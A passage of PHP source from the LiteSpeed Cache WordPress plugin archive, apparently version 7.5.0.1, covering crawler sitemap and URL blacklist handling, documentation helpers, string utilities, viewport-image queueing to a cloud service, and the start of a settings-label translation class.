				if (empty($reason_array[$code])) {
					$reason_array[$code] = array();
				}
				$reason_array[$code][] = (int) $id;
			}

			foreach ($reason_array as $code => $v2) {
				// Complement comma
				if ($curr_crawler) {
					$code = ',' . $code;
				}
				if ($curr_crawler < $total_crawler_pos) {
					$code .= ',';
				}

				$count = $wpdb->query(
					"UPDATE `$this->_tb` SET reason=CONCAT(SUBSTRING_INDEX(reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(reason, ',', -$right_pos)) WHERE id IN (" .
						implode(',', $v2) .
						')'
				);

				self::debug("Update map reason [code] $code [pos] left $curr_crawler right -$right_pos [count] $count");

				// Update blacklist reason
				if ($bit == Crawler::STATUS_BLACKLIST || $bit == Crawler::STATUS_NOCACHE) {
					$count = $wpdb->query(
						"UPDATE `$this->_tb_blacklist` a LEFT JOIN `$this->_tb` b ON b.url = a.url SET a.reason=CONCAT(SUBSTRING_INDEX(a.reason, ',', $curr_crawler), '$code', SUBSTRING_INDEX(a.reason, ',', -$right_pos)) WHERE b.id IN (" .
							implode(',', $v2) .
							')'
					);

					self::debug("Update blacklist [code] $code [pos] left $curr_crawler right -$right_pos [count] $count");
				}
			}
			// Reset list
			$list[$bit] = array();
		}

		return $list;
	}

	/**
	 * Add one record to blacklist
	 * NOTE: $id is sitemap table ID
	 *
	 * @since  3.0
	 * @access public
	 */
	public function blacklist_add( $id ) {
		global $wpdb;

		$id = (int) $id;

		// Build res&reason
		$total_crawler = count(Crawler::cls()->list_crawlers());
		$res           = str_repeat(Crawler::STATUS_BLACKLIST, $total_crawler);
		$reason        = implode(',', array_fill(0, $total_crawler, 'Man'));

		$row = $wpdb->get_row("SELECT a.url, b.id FROM `$this->_tb` a LEFT JOIN `$this->_tb_blacklist` b ON b.url = a.url WHERE a.id = '$id'", ARRAY_A);
		if (!$row) {
			self::debug('blacklist failed to add [id] ' . $id);
			return;
		}

		self::debug('Add to blacklist [url] ' . $row['url']);

		$q = "UPDATE `$this->_tb` SET res = %s, reason = %s WHERE id = %d";
		$wpdb->query($wpdb->prepare($q, array( $res, $reason, $id )));

		if ($row['id']) {
			$q = "UPDATE `$this->_tb_blacklist` SET res = %s, reason = %s WHERE id = %d";
			$wpdb->query($wpdb->prepare($q, array( $res, $reason, $row['id'] )));
		} else {
			$q = "INSERT INTO `$this->_tb_blacklist` (url, res, reason) VALUES (%s, %s, %s)";
			$wpdb->query($wpdb->prepare($q, array( $row['url'], $res, $reason )));
		}
	}

	/**
	 * Delete one record from blacklist
	 *
	 * @since  3.0
	 * @access public
	 */
	public function blacklist_del( $id ) {
		global $wpdb;
		if (!$this->__data->tb_exist('crawler_blacklist')) {
			return;
		}

		$id = (int) $id;
		self::debug('blacklist delete [id] ' . $id);

		$sql = sprintf(
			"UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-') WHERE url=(SELECT url FROM `%s` WHERE id=%d)",
			$this->_tb,
			Crawler::STATUS_NOCACHE,
			Crawler::STATUS_BLACKLIST,
			$this->_tb_blacklist,
			$id
		);
		$wpdb->query($sql);
		$wpdb->query("DELETE FROM `$this->_tb_blacklist` WHERE id='$id'");
	}

	/**
	 * Empty blacklist
	 *
	 * @since  3.0
	 * @access public
	 */
	public function blacklist_empty() {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler_blacklist')) {
			return;
		}

		self::debug('Truncate blacklist');
		$sql = sprintf("UPDATE `%s` SET res=REPLACE(REPLACE(res, '%s', '-'), '%s', '-')", $this->_tb, Crawler::STATUS_NOCACHE, Crawler::STATUS_BLACKLIST);
		$wpdb->query($sql);
		$wpdb->query("TRUNCATE `$this->_tb_blacklist`");
	}

	/**
	 * List blacklist
	 *
	 * @since  3.0
	 * @access public
	 */
	public function list_blacklist( $limit = false, $offset = false ) {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler_blacklist')) {
			return array();
		}

		$q = "SELECT * FROM `$this->_tb_blacklist` ORDER BY id DESC";

		if ($limit !== false) {
			if ($offset === false) {
				$total  = $this->count_blacklist();
				$offset = Utility::pagination($total, $limit, true);
			}
			$q .= ' LIMIT %d, %d';
			$q  = $wpdb->prepare($q, $offset, $limit);
		}
		return $wpdb->get_results($q, ARRAY_A);
	}

	/**
	 * Count blacklist
	 */
	public function count_blacklist() {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler_blacklist')) {
			return false;
		}

		$q = "SELECT COUNT(*) FROM `$this->_tb_blacklist`";
		return $wpdb->get_var($q);
	}

	/**
	 * Empty sitemap
	 *
	 * @since  3.0
	 * @access public
	 */
	public function empty_map() {
		Data::cls()->tb_del('crawler');

		$msg = __('Sitemap cleaned successfully', 'litespeed-cache');
		Admin_Display::success($msg);
	}

	/**
	 * List generated sitemap
	 *
	 * @since  3.0
	 * @access public
	 */
	public function list_map( $limit, $offset = false ) {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler')) {
			return array();
		}

		if ($offset === false) {
			$total  = $this->count_map();
			$offset = Utility::pagination($total, $limit, true);
		}

		$type = Router::verify_type();

		$where = '';
		if (!empty($_POST['kw'])) {
			$q = "SELECT * FROM `$this->_tb` WHERE url LIKE %s";
			if ($type == 'hit') {
				$q .= " AND res LIKE '%" . Crawler::STATUS_HIT . "%'";
			}
			if ($type == 'miss') {
				$q .= " AND res LIKE '%" . Crawler::STATUS_MISS . "%'";
			}
			if ($type == 'blacklisted') {
				$q .= " AND res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'";
			}
			$q    .= ' ORDER BY id LIMIT %d, %d';
			$where = '%' . $wpdb->esc_like($_POST['kw']) . '%';
			return $wpdb->get_results($wpdb->prepare($q, $where, $offset, $limit), ARRAY_A);
		}

		$q = "SELECT * FROM `$this->_tb`";
		if ($type == 'hit') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'";
		}
		if ($type == 'miss') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'";
		}
		if ($type == 'blacklisted') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'";
		}
		$q .= ' ORDER BY id LIMIT %d, %d';
		// self::debug("q=$q offset=$offset, limit=$limit");
		return $wpdb->get_results($wpdb->prepare($q, $offset, $limit), ARRAY_A);
	}

	/**
	 * Count sitemap
	 */
	public function count_map() {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler')) {
			return false;
		}

		$q = "SELECT COUNT(*) FROM `$this->_tb`";

		$type = Router::verify_type();
		if ($type == 'hit') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_HIT . "%'";
		}
		if ($type == 'miss') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_MISS . "%'";
		}
		if ($type == 'blacklisted') {
			$q .= " WHERE res LIKE '%" . Crawler::STATUS_BLACKLIST . "%'";
		}

		return $wpdb->get_var($q);
	}

	/**
	 * Generate sitemap
	 *
	 * @since    1.1.0
	 * @access public
	 */
	public function gen( $manual = false ) {
		$count = $this->_gen();

		if (!$count) {
			Admin_Display::error(__('No valid sitemap parsed for crawler.', 'litespeed-cache'));
			return;
		}

		if (!wp_doing_cron() && $manual) {
			$msg = sprintf(__('Sitemap created successfully: %d items', 'litespeed-cache'), $count);
			Admin_Display::success($msg);
		}
	}

	/**
	 * Generate the sitemap
	 *
	 * @since    1.1.0
	 * @access private
	 */
	private function _gen() {
		global $wpdb;

		if (!$this->__data->tb_exist('crawler')) {
			$this->__data->tb_create('crawler');
		}

		if (!$this->__data->tb_exist('crawler_blacklist')) {
			$this->__data->tb_create('crawler_blacklist');
		}

		// use custom sitemap
		if (!($sitemap = $this->conf(Base::O_CRAWLER_SITEMAP))) {
			return false;
		}

		$offset  = strlen($this->_site_url);
		$sitemap = Utility::sanitize_lines($sitemap);

		try {
			foreach ($sitemap as $this_map) {
				$this->_parse($this_map);
			}
		} catch (\Exception $e) {
			self::debug('❌ failed to parse custom sitemap: ' . $e->getMessage());
		}

		if (is_array($this->_urls) && !empty($this->_urls)) {
			if (defined('LITESPEED_CRAWLER_DROP_DOMAIN') && constant('LITESPEED_CRAWLER_DROP_DOMAIN')) {
				foreach ($this->_urls as $k => $v) {
					if (stripos($v, $this->_site_url) !== 0) {
						unset($this->_urls[$k]);
						continue;
					}
					$this->_urls[$k] = substr($v, $offset);
				}
			}

			$this->_urls = array_unique($this->_urls);
		}

		self::debug('Truncate sitemap');
		$wpdb->query("TRUNCATE `$this->_tb`");

		self::debug('Generate sitemap');

		// Filter URLs in blacklist
		$blacklist = $this->list_blacklist();

		$full_blacklisted    = array();
		$partial_blacklisted = array();
		foreach ($blacklist as $v) {
			if (strpos($v['res'], '-') === false) {
				// Full blacklisted
				$full_blacklisted[] = $v['url'];
			} else {
				// Replace existing reason
				$v['reason']                    = explode(',', $v['reason']);
				$v['reason']                    = array_map(function ( $element ) {
					return $element ? 'Existed' : '';
				}, $v['reason']);
				$v['reason']                    = implode(',', $v['reason']);
				$partial_blacklisted[$v['url']] = array(
					'res' => $v['res'],
					'reason' => $v['reason'],
				);
			}
		}

		// Drop all blacklisted URLs
		$this->_urls = array_diff($this->_urls, $full_blacklisted);

		// Default res & reason
		$crawler_count  = count(Crawler::cls()->list_crawlers());
		$default_res    = str_repeat('-', $crawler_count);
		$default_reason = $crawler_count > 1 ? str_repeat(',', $crawler_count - 1) : '';

		$data = array();
		foreach ($this->_urls as $url) {
			$data[] = $url;
			$data[] = array_key_exists($url, $partial_blacklisted) ? $partial_blacklisted[$url]['res'] : $default_res;
			$data[] = array_key_exists($url, $partial_blacklisted) ? $partial_blacklisted[$url]['reason'] : $default_reason;
		}

		foreach (array_chunk($data, 300) as $data2) {
			$this->_save($data2);
		}

		// Reset crawler
		Crawler::cls()->reset_pos();

		return count($this->_urls);
	}

	/**
	 * Save data to table
	 *
	 * @since 3.0
	 * @access private
	 */
	private function _save( $data, $fields = 'url,res,reason' ) {
		global $wpdb;

		if (empty($data)) {
			return;
		}

		$q = "INSERT INTO `$this->_tb` ( $fields ) VALUES ";

		// Add placeholder
		$q .= Utility::chunk_placeholder($data, $fields);

		// Store data
		$wpdb->query($wpdb->prepare($q, $data));
	}

	/**
	 * Parse custom sitemap and return urls
	 *
	 * @since    1.1.1
	 * @access private
	 */
	private function _parse( $sitemap ) {
		/**
		 * Read via wp func to avoid allow_url_fopen = off
		 *
		 * @since  2.2.7
		 */
		$response = wp_safe_remote_get($sitemap, array(
			'timeout' => $this->_conf_map_timeout,
			'sslverify' => false,
		));
		if (is_wp_error($response)) {
			$error_message = $response->get_error_message();
			self::debug('failed to read sitemap: ' . $error_message);
			throw new \Exception('Failed to remote read ' . $sitemap);
		}

		$xml_object = simplexml_load_string($response['body'], null, LIBXML_NOCDATA);
		if (!$xml_object) {
			if ($this->_urls) {
				return;
			}
			throw new \Exception('Failed to parse xml ' . $sitemap);
		}

		// start parsing
		$xml_array = (array) $xml_object;
		if (!empty($xml_array['sitemap'])) {
			// parse sitemap set
			if (is_object($xml_array['sitemap'])) {
				$xml_array['sitemap'] = (array) $xml_array['sitemap'];
			}

			if (!empty($xml_array['sitemap']['loc'])) {
				// is single sitemap
				$this->_parse($xml_array['sitemap']['loc']);
			} else {
				// parse multiple sitemaps
				foreach ($xml_array['sitemap'] as $val) {
					$val = (array) $val;
					if (!empty($val['loc'])) {
						$this->_parse($val['loc']); // recursive parse sitemap
					}
				}
			}
		} elseif (!empty($xml_array['url'])) {
			// parse url set
			if (is_object($xml_array['url'])) {
				$xml_array['url'] = (array) $xml_array['url'];
			}
			// if only 1 element
			if (!empty($xml_array['url']['loc'])) {
				$this->_urls[] = $xml_array['url']['loc'];
			} else {
				foreach ($xml_array['url'] as $val) {
					$val = (array) $val;
					if (!empty($val['loc'])) {
						$this->_urls[] = $val['loc'];
					}
				}
			}
		}
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/doc.cls.php000064400000010104151031165260017110 0ustar00<?php
// phpcs:ignoreFile

/**
 * The Doc class.
 *
 * @since       2.2.7
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Doc {

	// protected static $_instance;

	/**
	 * Show option is actually ON by GM
	 *
	 * @since  5.5
	 * @access public
	 */
	public static function maybe_on_by_gm( $id ) {
		if (apply_filters('litespeed_conf', $id)) {
			return;
		}
		if (!apply_filters('litespeed_conf', Base::O_GUEST)) {
			return;
		}
		if (!apply_filters('litespeed_conf', Base::O_GUEST_OPTM)) {
			return;
		}
		echo '<font class="litespeed-warning">';
		echo '⚠️ ' .
			sprintf(
				__('This setting is %1$s for certain qualifying requests due to %2$s!', 'litespeed-cache'),
				'<code>' . __('ON', 'litespeed-cache') . '</code>',
				Lang::title(Base::O_GUEST_OPTM)
			);
		self::learn_more('https://docs.litespeedtech.com/lscache/lscwp/general/#guest-optimization');
		echo '</font>';
	}

	/**
	 * Changes affect crawler list warning
	 *
	 * @since  4.3
	 * @access public
	 */
	public static function crawler_affected() {
		echo '<font class="litespeed-primary">';
		echo '⚠️ ' . __('This setting will regenerate crawler list and clear the disabled list!', 'litespeed-cache');
		echo '</font>';
	}

	/**
	 * Privacy policy
	 *
	 * @since 2.2.7
	 * @access public
	 */
	public static function privacy_policy() {
		return __(
			'This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.',
			'litespeed-cache'
		) .
			sprintf(
				__('Please see %s for more details.', 'litespeed-cache'),
				'<a href="https://quic.cloud/privacy-policy/" target="_blank">https://quic.cloud/privacy-policy/</a>'
			);
	}

	/**
	 * Learn more link
	 *
	 * @since  2.4.2
	 * @access public
	 */
	public static function learn_more( $url, $title = false, $self = false, $class = false, $return = false ) {
		if (!$class) {
			$class = 'litespeed-learn-more';
		}

		if (!$title) {
			$title = __('Learn More', 'litespeed-cache');
		}

		$self = $self ? '' : "target='_blank'";

		$txt = " <a href='$url' $self class='$class'>$title</a>";

		if ($return) {
			return $txt;
		}

		echo $txt;
	}

	/**
	 * One per line
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function one_per_line( $return = false ) {
		$str = __('One per line.', 'litespeed-cache');
		if ($return) {
			return $str;
		}
		echo $str;
	}

	/**
	 * One per line
	 *
	 * @since  3.4
	 * @access public
	 */
	public static function full_or_partial_url( $string_only = false ) {
		if ($string_only) {
			echo __('Both full and partial strings can be used.', 'litespeed-cache');
		} else {
			echo __('Both full URLs and partial strings can be used.', 'litespeed-cache');
		}
	}

	/**
	 * Notice to edit .htaccess
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function notice_htaccess() {
		echo '<font class="litespeed-primary">';
		echo '⚠️ ' . __('This setting will edit the .htaccess file.', 'litespeed-cache');
		echo ' <a href="https://docs.litespeedtech.com/lscache/lscwp/toolbox/#edit-htaccess-tab" target="_blank" class="litespeed-learn-more">' .
			__('Learn More', 'litespeed-cache') .
			'</a>';
		echo '</font>';
	}

	/**
	 * Gentle reminder that web services run asynchronously
	 *
	 * @since  5.3.1
	 * @access public
	 */
	public static function queue_issues( $return = false ) {
		$str =
			'<div class="litespeed-desc">' .
			__('The queue is processed asynchronously. It may take time.', 'litespeed-cache') .
			self::learn_more('https://docs.litespeedtech.com/lscache/lscwp/troubleshoot/#quiccloud-queue-issues', false, false, false, true) .
			'</div>';
		if ($return) {
			return $str;
		}
		echo $str;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/str.cls.php000064400000006232151031165260017162 0ustar00<?php
// phpcs:ignoreFile
/**
 * LiteSpeed String Operator Library Class
 *
 * @since 1.3
 * @package LiteSpeed
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Str
 *
 * Provides string manipulation utilities for LiteSpeed Cache.
 *
 * @since 1.3
 */
class Str {

	/**
	 * Translate QC HTML links from html.
	 *
	 * Converts `<a href="{#xxx#}">xxxx</a>` to `<a href="xxx">xxxx</a>`.
	 *
	 * @since 7.0
	 * @access public
	 * @param string $html The HTML string to process.
	 * @return string The processed HTML string.
	 */
	public static function translate_qc_apis( $html ) {
		preg_match_all( '/<a href="{#(\w+)#}"/U', $html, $matches );
		if ( ! $matches ) {
			return $html;
		}

		foreach ( $matches[0] as $k => $html_to_be_replaced ) {
			$link = '<a href="' . Utility::build_url( Router::ACTION_CLOUD, Cloud::TYPE_API, false, null, array( 'action2' => $matches[1][ $k ] ) ) . '"';
			$html = str_replace( $html_to_be_replaced, $link, $html );
		}
		return $html;
	}

	/**
	 * Return safe HTML
	 *
	 * Sanitizes HTML to allow only specific tags and attributes.
	 *
	 * @since 7.0
	 * @access public
	 * @param string $html The HTML string to sanitize.
	 * @return string The sanitized HTML string.
	 */
	public static function safe_html( $html ) {
		$common_attrs = array(
			'style'  => array(),
			'class'  => array(),
			'target' => array(),
			'src'    => array(),
			'color'  => array(),
			'href'   => array(),
		);
		$tags         = array( 'hr', 'h3', 'h4', 'h5', 'ul', 'li', 'br', 'strong', 'p', 'span', 'img', 'a', 'div', 'font' );
		$allowed_tags = array();
		foreach ( $tags as $tag ) {
			$allowed_tags[ $tag ] = $common_attrs;
		}

		return wp_kses( $html, $allowed_tags );
	}

	/**
	 * Generate random string
	 *
	 * Creates a random string of specified length and character type.
	 *
	 * @since  1.3
	 * @access public
	 * @param int $len  Length of string.
	 * @param int $type Character type: 1-Number, 2-LowerChar, 4-UpperChar, 7-All.
	 * @return string Randomly generated string.
	 */
	public static function rrand( $len, $type = 7 ) {
		switch ( $type ) {
			case 0:
				$charlist = '012';
				break;

			case 1:
				$charlist = '0123456789';
				break;

			case 2:
				$charlist = 'abcdefghijklmnopqrstuvwxyz';
				break;

			case 3:
				$charlist = '0123456789abcdefghijklmnopqrstuvwxyz';
				break;

			case 4:
				$charlist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
				break;

			case 5:
				$charlist = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
				break;

			case 6:
				$charlist = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
				break;

			case 7:
				$charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
				break;
		}

		$str = '';

		$max = strlen( $charlist ) - 1;
		for ( $i = 0; $i < $len; $i++ ) {
			$str .= $charlist[ random_int( 0, $max ) ];
		}

		return $str;
	}

	/**
	 * Trim double quotes from a string
	 *
	 * Removes double quotes from a string for use as a preformatted src in HTML.
	 *
	 * @since 6.5.3
	 * @access public
	 * @param string $text The string to process.
	 * @return string The string with double quotes removed.
	 */
	public static function trim_quotes( $text ) {
		return str_replace( '"', '', $text );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/vpi.cls.php000064400000016571151031165260017157 0ustar00<?php
// phpcs:ignoreFile

/**
 * The viewport image class.
 *
 * @since       4.7
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class VPI extends Base {

	const LOG_TAG = '[VPI]';

	const TYPE_GEN     = 'gen';
	const TYPE_CLEAR_Q = 'clear_q';

	protected $_summary;
	private $_queue;

	/**
	 * Init
	 *
	 * @since  4.7
	 */
	public function __construct() {
		$this->_summary = self::get_summary();
	}

	/**
	 * The VPI content of the current page
	 *
	 * @since  4.7
	 */
	public function add_to_queue() {
		$is_mobile = $this->_separate_mobile();

		global $wp;
		$request_url = home_url($wp->request);

		if (!apply_filters('litespeed_vpi_should_queue', true, $request_url)) {
			return;
		}

		$ua = !empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

		// Store it to prepare for cron
		$this->_queue = $this->load_queue('vpi');

		if (count($this->_queue) > 500) {
			self::debug('Queue is full - 500');
			return;
		}

		$home_id = get_option('page_for_posts');

		if (!is_singular() && !($home_id > 0 && is_home())) {
			self::debug('not single post ID');
			return;
		}

		$post_id = is_home() ? $home_id : get_the_ID();

		$queue_k = ($is_mobile ? 'mobile' : '') . ' ' . $request_url;
		if (!empty($this->_queue[$queue_k])) {
			self::debug('queue k existed ' . $queue_k);
			return;
		}

		$this->_queue[$queue_k] = array(
			'url' => apply_filters('litespeed_vpi_url', $request_url),
			'post_id' => $post_id,
			'user_agent' => substr($ua, 0, 200),
			'is_mobile' => $this->_separate_mobile(),
		); // Current UA will be used to request
		$this->save_queue('vpi', $this->_queue);
		self::debug('Added queue_vpi [url] ' . $queue_k . ' [UA] ' . $ua);

		// Prepare cache tag for later purge
		Tag::add('VPI.' . md5($queue_k));

		return null;
	}

	/**
	 * Notify finished from server
	 *
	 * @since 4.7
	 */
	public function notify() {
		$post_data = \json_decode(file_get_contents('php://input'), true);
		if (is_null($post_data)) {
			$post_data = $_POST;
		}
		self::debug('notify() data', $post_data);

		$this->_queue = $this->load_queue('vpi');

		list($post_data) = $this->cls('Cloud')->extract_msg($post_data, 'vpi');

		$notified_data = $post_data['data'];
		if (empty($notified_data) || !is_array($notified_data)) {
			self::debug('❌ notify exit: no notified data');
			return Cloud::err('no notified data');
		}

		// Check if its in queue or not
		$valid_i = 0;
		foreach ($notified_data as $v) {
			if (empty($v['request_url'])) {
				self::debug('❌ notify bypass: no request_url', $v);
				continue;
			}
			if (empty($v['queue_k'])) {
				self::debug('❌ notify bypass: no queue_k', $v);
				continue;
			}
			// $queue_k = ( $is_mobile ? 'mobile' : '' ) . ' ' . $v[ 'request_url' ];
			$queue_k = $v['queue_k'];

			if (empty($this->_queue[$queue_k])) {
				self::debug('❌ notify bypass: no this queue [q_k]' . $queue_k);
				continue;
			}

			// Save data
			if (!empty($v['data_vpi'])) {
				$post_id   = $this->_queue[$queue_k]['post_id'];
				$name      = !empty($v['is_mobile']) ? 'litespeed_vpi_list_mobile' : 'litespeed_vpi_list';
				$urldecode = is_array($v['data_vpi']) ? array_map('urldecode', $v['data_vpi']) : urldecode($v['data_vpi']);
				self::debug('save data_vpi', $urldecode);
				$this->cls('Metabox')->save($post_id, $name, $urldecode);

				++$valid_i;
			}

			unset($this->_queue[$queue_k]);
			self::debug('notify data handled, unset queue [q_k] ' . $queue_k);
		}
		$this->save_queue('vpi', $this->_queue);

		self::debug('notified');

		return Cloud::ok(array( 'count' => $valid_i ));
	}

	/**
	 * Cron
	 *
	 * @since  4.7
	 */
	public static function cron( $continue = false ) {
		$_instance = self::cls();
		return $_instance->_cron_handler($continue);
	}

	/**
	 * Cron generation
	 *
	 * @since  4.7
	 */
	private function _cron_handler( $continue = false ) {
		self::debug('cron start');
		$this->_queue = $this->load_queue('vpi');

		if (empty($this->_queue)) {
			return;
		}

		// For cron, need to check request interval too
		if (!$continue) {
			if (!empty($this->_summary['curr_request_vpi']) && time() - $this->_summary['curr_request_vpi'] < 300 && !$this->conf(self::O_DEBUG)) {
				self::debug('Last request not done');
				return;
			}
		}

		$i = 0;
		foreach ($this->_queue as $k => $v) {
			if (!empty($v['_status'])) {
				continue;
			}

			self::debug('cron job [tag] ' . $k . ' [url] ' . $v['url'] . ($v['is_mobile'] ? ' 📱 ' : '') . ' [UA] ' . $v['user_agent']);

			++$i;
			$res = $this->_send_req($v['url'], $k, $v['user_agent'], $v['is_mobile']);
			if (!$res) {
				// Status is wrong, drop this this->_queue
				$this->_queue = $this->load_queue('vpi');
				unset($this->_queue[$k]);
				$this->save_queue('vpi', $this->_queue);

				if (!$continue) {
					return;
				}

				// if ( $i > 3 ) {
				GUI::print_loading(count($this->_queue), 'VPI');
				return Router::self_redirect(Router::ACTION_VPI, self::TYPE_GEN);
				// }

				continue;
			}

			// Exit queue if out of quota or service is hot
			if ($res === 'out_of_quota' || $res === 'svc_hot') {
				return;
			}

			$this->_queue                = $this->load_queue('vpi');
			$this->_queue[$k]['_status'] = 'requested';
			$this->save_queue('vpi', $this->_queue);
			self::debug('Saved to queue [k] ' . $k);

			// only request first one
			if (!$continue) {
				return;
			}

			// if ( $i > 3 ) {
			GUI::print_loading(count($this->_queue), 'VPI');
			return Router::self_redirect(Router::ACTION_VPI, self::TYPE_GEN);
			// }
		}
	}

	/**
	 * Send to QC API to generate VPI
	 *
	 * @since  4.7
	 * @access private
	 */
	private function _send_req( $request_url, $queue_k, $user_agent, $is_mobile ) {
		$svc = Cloud::SVC_VPI;
		// Check if has credit to push or not
		$err       = false;
		$allowance = $this->cls('Cloud')->allowance($svc, $err);
		if (!$allowance) {
			self::debug('❌ No credit: ' . $err);
			$err && Admin_Display::error(Error::msg($err));
			return 'out_of_quota';
		}

		set_time_limit(120);

		// Update css request status
		self::save_summary(array( 'curr_request_vpi' => time() ), true);

		// Gather guest HTML to send
		$html = $this->cls('CSS')->prepare_html($request_url, $user_agent);

		if (!$html) {
			return false;
		}

		// Parse HTML to gather all CSS content before requesting
		$css              = false;
		list($css, $html) = $this->cls('CSS')->prepare_css($html);

		if (!$css) {
			self::debug('❌ No css');
			return false;
		}

		$data = array(
			'url' => $request_url,
			'queue_k' => $queue_k,
			'user_agent' => $user_agent,
			'is_mobile' => $is_mobile ? 1 : 0, // todo:compatible w/ tablet
			'html' => $html,
			'css' => $css,
		);
		self::debug('Generating: ', $data);

		$json = Cloud::post($svc, $data, 30);
		if (!is_array($json)) {
			return $json;
		}

		// Unknown status, remove this line
		if ($json['status'] != 'queued') {
			return false;
		}

		// Save summary data
		self::reload_summary();
		$this->_summary['last_spent_vpi']   = time() - $this->_summary['curr_request_vpi'];
		$this->_summary['last_request_vpi'] = $this->_summary['curr_request_vpi'];
		$this->_summary['curr_request_vpi'] = 0;
		self::save_summary();

		return true;
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  4.7
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_GEN:
            self::cron(true);
				break;

			case self::TYPE_CLEAR_Q:
            $this->clear_q('vpi');
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/lang.cls.php000064400000036075151031165260017303 0ustar00<?php
// phpcs:ignoreFile

/**
 * The language class.
 *
 * @since       3.0
 * @package     LiteSpeed_Cache
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Lang extends Base {

	/**
	 * Get image status per status bit
	 *
	 * @since  3.0
	 */
	public static function img_status( $status = null ) {
		$list = array(
			Img_Optm::STATUS_NEW => __('Images not requested', 'litespeed-cache'),
			Img_Optm::STATUS_RAW => __('Images ready to request', 'litespeed-cache'),
			Img_Optm::STATUS_REQUESTED => __('Images requested', 'litespeed-cache'),
			Img_Optm::STATUS_NOTIFIED => __('Images notified to pull', 'litespeed-cache'),
			Img_Optm::STATUS_PULLED => __('Images optimized and pulled', 'litespeed-cache'),
		);

		if ($status !== null) {
			return !empty($list[$status]) ? $list[$status] : 'N/A';
		}

		return $list;
	}

	/**
	 * Try translating a string
	 *
	 * @since  4.7
	 */
	public static function maybe_translate( $raw_string ) {
		$map = array(
			'auto_alias_failed_cdn' =>
				__('Unable to automatically add %1$s as a Domain Alias for main %2$s domain, due to potential CDN conflict.', 'litespeed-cache') .
				' ' .
				Doc::learn_more('https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true),

			'auto_alias_failed_uid' =>
				__('Unable to automatically add %1$s as a Domain Alias for main %2$s domain.', 'litespeed-cache') .
				' ' .
				__('Alias is in use by another QUIC.cloud account.', 'litespeed-cache') .
				' ' .
				Doc::learn_more('https://quic.cloud/docs/cdn/dns/how-to-setup-domain-alias/', false, false, false, true),
		);

		// Maybe has placeholder
		if (strpos($raw_string, '::')) {
			$replacements = explode('::', $raw_string);
			if (empty($map[$replacements[0]])) {
				return $raw_string;
			}
			$tpl = $map[$replacements[0]];
			unset($replacements[0]);
			return vsprintf($tpl, array_values($replacements));
		}

		// Direct translation only
		if (empty($map[$raw_string])) {
			return $raw_string;
		}

		return $map[$raw_string];
	}

	/**
	 * Get the title of id
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function title( $id ) {
		$_lang_list = array(
			self::O_SERVER_IP => __('Server IP', 'litespeed-cache'),
			self::O_GUEST_UAS => __('Guest Mode User Agents', 'litespeed-cache'),
			self::O_GUEST_IPS => __('Guest Mode IPs', 'litespeed-cache'),

			self::O_CACHE => __('Enable Cache', 'litespeed-cache'),
			self::O_CACHE_BROWSER => __('Browser Cache', 'litespeed-cache'),
			self::O_CACHE_TTL_PUB => __('Default Public Cache TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_PRIV => __('Default Private Cache TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_FRONTPAGE => __('Default Front Page TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_FEED => __('Default Feed TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_REST => __('Default REST TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_STATUS => __('Default HTTP Status Code Page TTL', 'litespeed-cache'),
			self::O_CACHE_TTL_BROWSER => __('Browser Cache TTL', 'litespeed-cache'),
			self::O_CACHE_AJAX_TTL => __('AJAX Cache TTL', 'litespeed-cache'),
			self::O_AUTO_UPGRADE => __('Automatically Upgrade', 'litespeed-cache'),
			self::O_GUEST => __('Guest Mode', 'litespeed-cache'),
			self::O_GUEST_OPTM => __('Guest Optimization', 'litespeed-cache'),
			self::O_NEWS => __('Notifications', 'litespeed-cache'),
			self::O_CACHE_PRIV => __('Cache Logged-in Users', 'litespeed-cache'),
			self::O_CACHE_COMMENTER => __('Cache Commenters', 'litespeed-cache'),
			self::O_CACHE_REST => __('Cache REST API', 'litespeed-cache'),
			self::O_CACHE_PAGE_LOGIN => __('Cache Login Page', 'litespeed-cache'),
